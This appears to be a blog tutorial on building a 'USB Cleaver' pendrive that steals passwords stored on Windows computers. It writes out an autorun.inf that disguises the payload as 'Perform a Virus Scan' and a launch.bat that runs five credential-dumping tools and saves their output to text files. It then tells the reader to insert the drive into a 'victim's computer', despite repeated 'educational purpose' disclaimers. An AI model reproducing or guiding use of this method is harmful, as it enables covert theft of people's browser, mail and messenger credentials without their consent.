So the only lot of organizations don’t allow us to pendrivers inside the organization.There is the possibility of vulnerability spreading, virus and lot more security breaches may happen. We know that windows stores the password on daily basis. Most of the common users will not think to know this stuffs.They just surf just like dump drove cattle, but I am sure if your reading this then your really a great minded to understand the technology.

This is purely for educational purpose alone

Just to explain the concept, we are going to collect some password stealing tools, tools that are freely available on the internet and capable of stealing the passwords stored in the browsers or other windows files.

We need to create a batch program that will execute the combined programs and save them as a text file.

To further spice up the penetration testing demonstration, let’s make a batch auto executable file in a pendrive. This is for educational purpose alone to show how a hacker can do this method.

Once the pendrive plugged in the USB pendrive will start copying the hash files ( password file)

Steps for making USB Cleaver :

1. Download all the following five tools and copy those executables (.exe files) into the pendrive i.e. Copy the files mspass.exe, mailpv.exe, iepv.exe, pspv.exe and passwordfox.exe into your USB Drive.

2. Now start creating a new Notepad and copy paste this information in that text.

[autorun] open=launch.bat 
ACTION= Perform a Virus Scan

Save that Notepad and then rename it from “New Text Document.txt” to “autorun.inf”
Then copy the “autorun.inf” file into your USB pendrive.

3. Now create new Notepad and start adding the commands below

start mspass.exe /stext mspass.txt 
start mailpv.exe /stext mailpv.txt 
start iepv.exe /stext iepv.txt 
start pspv.exe /stext pspv.txt 
start passwordfox.exe /stext passwordfox.txt

4. Save the notepad and rename it from “New Text Document.txt” to “launch.bat”

5. Copy the “launch.bat” file into your USB drive. Now the USB pendrive Password stealer is ready, all you have to do is insert it into your victim’s computer and a popup will appear. In the popup window, select the option “launch virus scan.”

Now you can see the password file in you pendrive in TXT file.
